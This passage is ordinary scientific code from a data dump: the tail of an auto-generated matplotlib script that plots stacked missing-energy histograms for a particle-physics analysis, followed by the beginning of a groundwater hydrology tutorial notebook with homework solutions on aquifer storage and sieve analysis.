numpy.array([117.296273077,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0])\n\n    # Creating weights for histo: y15_MET_10\n    y15_MET_10_weights = numpy.array([496.072960385,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0])\n\n    # Creating weights for histo: y15_MET_11\n    y15_MET_11_weights = numpy.array([814.235720577,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0])\n\n    # Creating weights for histo: y15_MET_12\n    y15_MET_12_weights = numpy.array([292.998877962,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0])\n\n    # Creating weights for histo: y15_MET_13\n    y15_MET_13_weights = numpy.array([44.5623415996,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0])\n\n    # Creating weights for histo: y15_MET_14\n    y15_MET_14_weights = numpy.array([10.8894797712,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0])\n\n    # Creating weights for histo: y15_MET_15\n    y15_MET_15_weights = numpy.array([0.674793936787,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0])\n\n    # Creating weights for histo: y15_MET_16\n    y15_MET_16_weights = numpy.array([0.0436957899231,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0])\n\n    # Creating a new Canvas\n    fig   = plt.figure(figsize=(12,6),dpi=80)\n    frame = gridspec.GridSpec(1,1,right=0.7)\n    pad   = fig.add_subplot(frame[0])\n\n    # Creating a new Stack\n    pad.hist(x=xData, bins=xBinning, weights=y15_MET_0_weights+y15_MET_1_weights+y15_MET_2_weights+y15_MET_3_weights+y15_MET_4_weights+y15_MET_5_weights+y15_MET_6_weights+y15_MET_7_weights+y15_MET_8_weights+y15_MET_9_weights+y15_MET_10_weights+y15_MET_11_weights+y15_MET_12_weights+y15_MET_13_weights+y15_MET_14_weights+y15_MET_15_weights+y15_MET_16_weights,\\\n             label=\"$bg\\_dip\\_1600\\_inf$\", histtype=\"step\", rwidth=1.0,\\\n             color=None, edgecolor=\"#e5e5e5\", linewidth=4, linestyle=\"dashdot\",\\\n             bottom=None, cumulative=False, normed=False, align=\"mid\", orientation=\"vertical\")\n\n    pad.hist(x=xData, bins=xBinning, weights=y15_MET_0_weights+y15_MET_1_weights+y15_MET_2_weights+y15_MET_3_weights+y15_MET_4_weights+y15_MET_5_weights+y15_MET_6_weights+y15_MET_7_weights+y15_MET_8_weights+y15_MET_9_weights+y15_MET_10_weights+y15_MET_11_weights+y15_MET_12_weights+y15_MET_13_weights+y15_MET_14_weights+y15_MET_15_weights,\\\n             label=\"$bg\\_dip\\_1200\\_1600$\", histtype=\"step\", rwidth=1.0,\\\n             color=None, edgecolor=\"#f2f2f2\", linewidth=4, linestyle=\"dashdot\",\\\n             bottom=None, cumulative=False, normed=False, align=\"mid\", orientation=\"vertical\")\n\n    pad.hist(x=xData, bins=xBinning, weights=y15_MET_0_weights+y15_MET_1_weights+y15_MET_2_weights+y15_MET_3_weights+y15_MET_4_weights+y15_MET_5_weights+y15_MET_6_weights+y15_MET_7_weights+y15_MET_8_weights+y15_MET_9_weights+y15_MET_10_weights+y15_MET_11_weights+y15_MET_12_weights+y15_MET_13_weights+y15_MET_14_weights,\\\n             label=\"$bg\\_dip\\_800\\_1200$\", histtype=\"step\", rwidth=1.0,\\\n             color=None, edgecolor=\"#ccc6aa\", linewidth=4, linestyle=\"dashdot\",\\\n             bottom=None, cumulative=False, normed=False, align=\"mid\", orientation=\"vertical\")\n\n    pad.hist(x=xData, bins=xBinning, weights=y15_MET_0_weights+y15_MET_1_weights+y15_MET_2_weights+y15_MET_3_weights+y15_MET_4_weights+y15_MET_5_weights+y15_MET_6_weights+y15_MET_7_weights+y15_MET_8_weights+y15_MET_9_weights+y15_MET_10_weights+y15_MET_11_weights+y15_MET_12_weights+y15_MET_13_weights,\\\n             label=\"$bg\\_dip\\_600\\_800$\", histtype=\"step\", rwidth=1.0,\\\n             color=None, edgecolor=\"#ccc6aa\", linewidth=4, linestyle=\"dashdot\",\\\n             bottom=None, cumulative=False, normed=False, align=\"mid\", orientation=\"vertical\")\n\n    pad.hist(x=xData, bins=xBinning, weights=y15_MET_0_weights+y15_MET_1_weights+y15_MET_2_weights+y15_MET_3_weights+y15_MET_4_weights+y15_MET_5_weights+y15_MET_6_weights+y15_MET_7_weights+y15_MET_8_weights+y15_MET_9_weights+y15_MET_10_weights+y15_MET_11_weights+y15_MET_12_weights,\\\n             label=\"$bg\\_dip\\_400\\_600$\", histtype=\"step\", rwidth=1.0,\\\n             color=None, edgecolor=\"#c1bfa8\", linewidth=4, linestyle=\"dashdot\",\\\n             bottom=None, cumulative=False, normed=False, align=\"mid\", orientation=\"vertical\")\n\n    pad.hist(x=xData, bins=xBinning, weights=y15_MET_0_weights+y15_MET_1_weights+y15_MET_2_weights+y15_MET_3_weights+y15_MET_4_weights+y15_MET_5_weights+y15_MET_6_weights+y15_MET_7_weights+y15_MET_8_weights+y15_MET_9_weights+y15_MET_10_weights+y15_MET_11_weights,\\\n             label=\"$bg\\_dip\\_200\\_400$\", histtype=\"step\", rwidth=1.0,\\\n             color=None, edgecolor=\"#bab5a3\", linewidth=4, linestyle=\"dashdot\",\\\n             bottom=None, cumulative=False, normed=False, align=\"mid\", orientation=\"vertical\")\n\n    pad.hist(x=xData, bins=xBinning, weights=y15_MET_0_weights+y15_MET_1_weights+y15_MET_2_weights+y15_MET_3_weights+y15_MET_4_weights+y15_MET_5_weights+y15_MET_6_weights+y15_MET_7_weights+y15_MET_8_weights+y15_MET_9_weights+y15_MET_10_weights,\\\n             label=\"$bg\\_dip\\_100\\_200$\", histtype=\"step\", rwidth=1.0,\\\n             color=None, edgecolor=\"#b2a596\", linewidth=4, linestyle=\"dashdot\",\\\n             bottom=None, cumulative=False, normed=False, align=\"mid\", orientation=\"vertical\")\n\n    pad.hist(x=xData, bins=xBinning, weights=y15_MET_0_weights+y15_MET_1_weights+y15_MET_2_weights+y15_MET_3_weights+y15_MET_4_weights+y15_MET_5_weights+y15_MET_6_weights+y15_MET_7_weights+y15_MET_8_weights+y15_MET_9_weights,\\\n             label=\"$bg\\_dip\\_0\\_100$\", histtype=\"step\", rwidth=1.0,\\\n             color=None, edgecolor=\"#b7a39b\", linewidth=4, linestyle=\"dashdot\",\\\n             bottom=None, cumulative=False, normed=False, align=\"mid\", orientation=\"vertical\")\n\n    pad.hist(x=xData, bins=xBinning, weights=y15_MET_0_weights+y15_MET_1_weights+y15_MET_2_weights+y15_MET_3_weights+y15_MET_4_weights+y15_MET_5_weights+y15_MET_6_weights+y15_MET_7_weights+y15_MET_8_weights,\\\n             label=\"$bg\\_vbf\\_1600\\_inf$\", histtype=\"step\", rwidth=1.0,\\\n             color=None, edgecolor=\"#ad998c\", linewidth=4, linestyle=\"dashdot\",\\\n             bottom=None, cumulative=False, normed=False, align=\"mid\", orientation=\"vertical\")\n\n    pad.hist(x=xData, bins=xBinning, weights=y15_MET_0_weights+y15_MET_1_weights+y15_MET_2_weights+y15_MET_3_weights+y15_MET_4_weights+y15_MET_5_weights+y15_MET_6_weights+y15_MET_7_weights,\\\n             label=\"$bg\\_vbf\\_1200\\_1600$\", histtype=\"step\", rwidth=1.0,\\\n             color=None, edgecolor=\"#9b8e82\", linewidth=4, linestyle=\"dashdot\",\\\n             bottom=None, cumulative=False, normed=False, align=\"mid\", orientation=\"vertical\")\n\n    pad.hist(x=xData, bins=xBinning, weights=y15_MET_0_weights+y15_MET_1_weights+y15_MET_2_weights+y15_MET_3_weights+y15_MET_4_weights+y15_MET_5_weights+y15_MET_6_weights,\\\n             label=\"$bg\\_vbf\\_800\\_1200$\", histtype=\"step\", rwidth=1.0,\\\n             color=None, edgecolor=\"#876656\", linewidth=4, linestyle=\"dashdot\",\\\n             bottom=None, cumulative=False, normed=False, align=\"mid\", orientation=\"vertical\")\n\n    pad.hist(x=xData, bins=xBinning, weights=y15_MET_0_weights+y15_MET_1_weights+y15_MET_2_weights+y15_MET_3_weights+y15_MET_4_weights+y15_MET_5_weights,\\\n             label=\"$bg\\_vbf\\_600\\_800$\", histtype=\"step\", rwidth=1.0,\\\n             color=None, edgecolor=\"#afcec6\", linewidth=4, linestyle=\"dashdot\",\\\n             bottom=None, cumulative=False, normed=False, align=\"mid\", orientation=\"vertical\")\n\n    pad.hist(x=xData, bins=xBinning, weights=y15_MET_0_weights+y15_MET_1_weights+y15_MET_2_weights+y15_MET_3_weights+y15_MET_4_weights,\\\n             label=\"$bg\\_vbf\\_400\\_600$\", histtype=\"step\", rwidth=1.0,\\\n             color=None, edgecolor=\"#84c1a3\", linewidth=4, linestyle=\"dashdot\",\\\n             bottom=None, cumulative=False, normed=False, align=\"mid\", orientation=\"vertical\")\n\n    pad.hist(x=xData, bins=xBinning, weights=y15_MET_0_weights+y15_MET_1_weights+y15_MET_2_weights+y15_MET_3_weights,\\\n             label=\"$bg\\_vbf\\_200\\_400$\", histtype=\"step\", rwidth=1.0,\\\n             color=None, edgecolor=\"#89a8a0\", linewidth=4, linestyle=\"dashdot\",\\\n             bottom=None, cumulative=False, normed=False, align=\"mid\", orientation=\"vertical\")\n\n    pad.hist(x=xData, bins=xBinning, weights=y15_MET_0_weights+y15_MET_1_weights+y15_MET_2_weights,\\\n             label=\"$bg\\_vbf\\_100\\_200$\", histtype=\"step\", rwidth=1.0,\\\n             color=None, edgecolor=\"#829e8c\", linewidth=4, linestyle=\"dashdot\",\\\n             bottom=None, cumulative=False, normed=False, align=\"mid\", orientation=\"vertical\")\n\n    pad.hist(x=xData, bins=xBinning, weights=y15_MET_0_weights+y15_MET_1_weights,\\\n             label=\"$bg\\_vbf\\_0\\_100$\", histtype=\"step\", rwidth=1.0,\\\n             color=None, edgecolor=\"#adbcc6\", linewidth=4, linestyle=\"dashdot\",\\\n             bottom=None, cumulative=False, normed=False, align=\"mid\", orientation=\"vertical\")\n\n    pad.hist(x=xData, bins=xBinning, weights=y15_MET_0_weights,\\\n             label=\"$signal$\", histtype=\"step\", rwidth=1.0,\\\n             color=None, edgecolor=\"#7a8e99\", linewidth=3, linestyle=\"dashed\",\\\n             bottom=None, cumulative=False, normed=False, align=\"mid\", orientation=\"vertical\")\n\n\n    # Axis\n    plt.rc('text',usetex=False)\n    plt.xlabel(r\"TET\",\\\n               fontsize=16,color=\"black\")\n    plt.ylabel(r\"$\\mathrm{Events}$ $(\\mathcal{L}_{\\mathrm{int}} = 40.0\\ \\mathrm{fb}^{-1})$ \",\\\n               fontsize=16,color=\"black\")\n\n    # Boundary of y-axis\n    ymax=(y15_MET_0_weights+y15_MET_1_weights+y15_MET_2_weights+y15_MET_3_weights+y15_MET_4_weights+y15_MET_5_weights+y15_MET_6_weights+y15_MET_7_weights+y15_MET_8_weights+y15_MET_9_weights+y15_MET_10_weights+y15_MET_11_weights+y15_MET_12_weights+y15_MET_13_weights+y15_MET_14_weights+y15_MET_15_weights+y15_MET_16_weights).max()*1.1\n    #ymin=0 # linear scale\n    ymin=min([x for x in (y15_MET_0_weights+y15_MET_1_weights+y15_MET_2_weights+y15_MET_3_weights+y15_MET_4_weights+y15_MET_5_weights+y15_MET_6_weights+y15_MET_7_weights+y15_MET_8_weights+y15_MET_9_weights+y15_MET_10_weights+y15_MET_11_weights+y15_MET_12_weights+y15_MET_13_weights+y15_MET_14_weights+y15_MET_15_weights+y15_MET_16_weights) if x])/100. # log scale\n    plt.gca().set_ylim(ymin,ymax)\n\n    # Log/Linear scale for X-axis\n    plt.gca().set_xscale(\"linear\")\n    #plt.gca().set_xscale(\"log\",nonposx=\"clip\")\n\n    # Log/Linear scale for Y-axis\n    #plt.gca().set_yscale(\"linear\")\n    plt.gca().set_yscale(\"log\",nonposy=\"clip\")\n\n    # Legend\n    plt.legend(bbox_to_anchor=(1.05,1), loc=2, borderaxespad=0.)\n\n    # Saving the image\n    plt.savefig('../../HTML/MadAnalysis5job_0/selection_14.png')\n    plt.savefig('../../PDF/MadAnalysis5job_0/selection_14.png')\n    plt.savefig('../../DVI/MadAnalysis5job_0/selection_14.eps')\n\n# Running!\nif __name__ == '__main__':\n    selection_14()\n", "meta": {"hexsha": "3fa6c9c263b325808947bd0a2361948c9b5ec109", "size": 26444, "ext": "py", "lang": "Python", "max_stars_repo_path": "optimization/first_sdEta_mjj_optimization/sdEta_mistake_analyses/dEta_mmjj_cuts_plots/tight_analysis_sdeta_3.6_mmjj_1250/Output/Histos/MadAnalysis5job_0/selection_14.py", "max_stars_repo_name": "sheride/axion_pheno", "max_stars_repo_head_hexsha": "7d3fc08f5ae5b17a3500eba19a2e43f87f076ce5", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "optimization/first_sdEta_mjj_optimization/sdEta_mistake_analyses/dEta_mmjj_cuts_plots/tight_analysis_sdeta_3.6_mmjj_1250/Output/Histos/MadAnalysis5job_0/selection_14.py", "max_issues_repo_name": "sheride/axion_pheno", "max_issues_repo_head_hexsha": "7d3fc08f5ae5b17a3500eba19a2e43f87f076ce5", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "optimization/first_sdEta_mjj_optimization/sdEta_mistake_analyses/dEta_mmjj_cuts_plots/tight_analysis_sdeta_3.6_mmjj_1250/Output/Histos/MadAnalysis5job_0/selection_14.py", "max_forks_repo_name": "sheride/axion_pheno", "max_forks_repo_head_hexsha": "7d3fc08f5ae5b17a3500eba19a2e43f87f076ce5", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 136.3092783505, "max_line_length": 1204, "alphanum_fraction": 0.6102707609, "include": true, "reason": "import numpy", "num_tokens": 17796, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. YES\n2. NO", "lm_q1_score": 0.5926665999540698, "lm_q2_score": 0.14608725262486594, "lm_q1q2_score": 0.08658103530981055}}
{"text": "#!/usr/bin/env python\n# coding: utf-8\n\n# In[1]:\n\n\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport pandas as pd \nimport ipysheet as ips\nimport panel as pn\nfrom scipy import stats \npn.extension(\"katex\") \n\n\n# # Tutorial 4 #\n# \n# + **solutions for homework problems 1 \u2013 4**\n# \n# + **tutorial problems on effective conductivity and flow nets**\n# \n# + **homework problems on effective conductivity and flow nets**\n# \n# \n# \n# \n# \n# \n# \n# ### Solutions for Homework Problems 1 \u2013 2 ###\n# \n# \n# \n\n# In[2]:\n\n\n#\nr1_1 = pn.pane.Markdown(\"\"\"\n\n### Homework Problem 1 ###\n\nThe pressure head in an aquifer extending over 200 km<sup>2</sup> is decreased by 1.60 m.\nDetermine the loss of groundwater in the aquifer for two scenarios:\nA. The aquifer is unconfined (storage coefficient 0.13).\nB. The aquifer is confined (storage coefficient 0.0005).\n\n\"\"\",width = 800, style={'font-size': '13pt'})  \n\nr1_2= pn.pane.PNG(\"images/T03_H1.png\", width=350)\n#r1_2 = pn.pane.PNG(\"images/T03_H1.PNG\") \n\n### Tutorial Problem 7 \u2013 Solution ###\n\n#<img src=\"images/T03_H1.PNG\" alt=\"Grosser Garten Map\"  width=\"40%\" height=\"100%\" >\n\nr1_3 = pn.pane.Markdown(\"\"\" \n### Solution - Homework Problem 1 ###\n<br> \nRelevant information can be found in Lecture L03, Slides- 28-30\n\n\"\"\",width = 800, style={'font-size': '13pt'})  \n\nr1_3b = pn.pane.LaTeX(r\"\"\" \n<br> \nThe relevant equations is:<br>\n$$\nS = \\Delta V_w/(A\\cdot \\Delta H)\n$$\n\n\"\"\",width = 800, style={'font-size': '13pt'}) \npn.Column(r1_1, r1_2, r1_3, r1_3b)   \n\n\n# In[3]:\n\n\n# Given \nA = 200 # km^2, aquifer area\nD_h = 1.6 # m, head decrease\nS_u = 0.13 # (-), Storativity unconfined aquifer\nS_c = 0.0005 # (-) Storage coefficient, confined aquifer\n\n# Solution\nDV_wu = A*S_u*D_h * 10**6 # m^3 change in water volume unconfined aquifer\nDV_wc = A*S_c*D_h* 10**6  # m^3 change in water volume unconfined aquifer\n\n# output\n\nprint(\"Change in water volume in unconfined aquifer is: {0:1.1e}\".format(DV_wu),\"m\\u00b3 \\n\")\nprint(\"Change in water volume in confined aquifer is: {0:1.1e}\".format(DV_wc),\"m\\u00b3\")\n\n\n# ## Homework Problem 2\n# \n# Conduct a sieve analysis for a dried soil sample (see data in the table below)\n# \n# 1. Draw the granulometric curve (cumulative mass distribution) and briefly characterise the sediment with regard to its major constituent(s).\n# 2. What is the coefficient of uniformity? \n# \n\n# In[4]:\n\n\n#\ntitle = [\"mesh   size  [mm] \", \"residue in the sieve [g] \", \"\u2211Retained %\", \"Commulative Passed %\"]\nSize = [6.3, 2, 0.63, 0.2, 0.063, \"< 0.063 /cup\"]\npassed = [11, 62, 288, 189, 42, 10]\ns2 = ips.sheet(rows=6, columns=4, row_headers=False, column_headers=title)\nips.column(0, Size, row_start=0) \nips.column(1, passed, row_start=0); s2 \n\n\n# In[5]:\n\n\n# Solution of problem 2\n\nt_sample = np.sum(passed) # g, add the residue column to get total mass\nretained_per = passed/t_sample *100 # %, # retain percentage residue/total mass\nretain_per_cumsum =np.cumsum(retained_per) # get the cummulative sum of the reatined\npassing_cumper = 100 - retain_per_cumsum # substract 100-cummsum to get passing % - the last column\n\n#Output\ns3 = ips.sheet(rows=6, columns=4, row_headers=False, column_headers=title)\nips.column(0, Size, row_start=0) \nips.column(1, passed, row_start=0); \nips.column(2, retained_per, 